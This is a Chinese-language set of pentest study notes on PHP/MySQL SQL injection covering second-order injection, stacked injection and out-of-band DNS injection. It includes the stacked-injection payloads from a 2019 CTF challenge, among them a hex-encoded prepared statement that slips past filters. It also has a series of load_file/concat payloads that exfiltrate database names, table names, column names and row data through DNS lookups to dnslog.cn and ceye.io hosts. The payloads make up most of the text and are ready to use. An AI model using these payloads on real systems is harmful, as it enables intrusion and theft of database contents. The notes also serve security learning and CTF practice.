`#PHP-MYSQL-二次注入-DEMO&74CMS
1、DEMO-用户注册登录修改密码
2、CMS-74CMS个人中心简历功能
黑盒思路：分析功能有添加后对数据操作的地方（功能点）
白盒思路：insert后进入select或update的功能的代码块
注入条件：插入时有转义函数或配置，后续有利用插入的数据
#PHP-MYSQL-堆叠注入-DEMO&CTF强网
堆叠注入触发的条件很苛刻，因为堆叠注入原理就是通过结束符同时执行多条sql语句，
例如php中的mysqli\_multi\_query函数。与之相对应的mysqli\_query()只能执行一条SQL，所以要想目标存在堆叠注入,在目标主机存在类似于mysqli\_multi\_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
支持堆叠数据库：MYSQL MSSQL Postgresql等
-2019强网杯-随便注（CTF题型）
';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
#PHP-MYSQL-带外注入-DEMO&DNSLOG
0.注入条件
ROOT高权限且支持load\_file()
有部分注入点是没有回显的，所有读取也是没回显的，采用带外
1.使用平台
http:
http:
2.带外应用场景：
解决不回显，反向连接，SQL注入，命令执行，SSRF等
SQL注入：
select load\_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
and (select load\_file(concat('
id=1 and load\_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))
id=1 and load\_file(concat("\\\\",(select schema\_name from information\_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段，所以因该使用limit，第一个参数是查询起始位置，第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
"""
id=1 and load\_file(concat("\\\\",version(),".dbuh8a.ceye.io\\xxx.txt"))
id=1 and load\_file(concat("\\\\",(select table\_name from information\_schema.tables where table\_schema='demo01' limit 0,1 ),".dbuh8a.ceye.io\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段，所以因该使用limit，第一个参数是查询起始位置，第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
"""
id=1 and load\_file(concat("\\\\",(select column\_name from information\_schema.columns where table\_schema='security' and table\_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
id=1 and load\_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))`
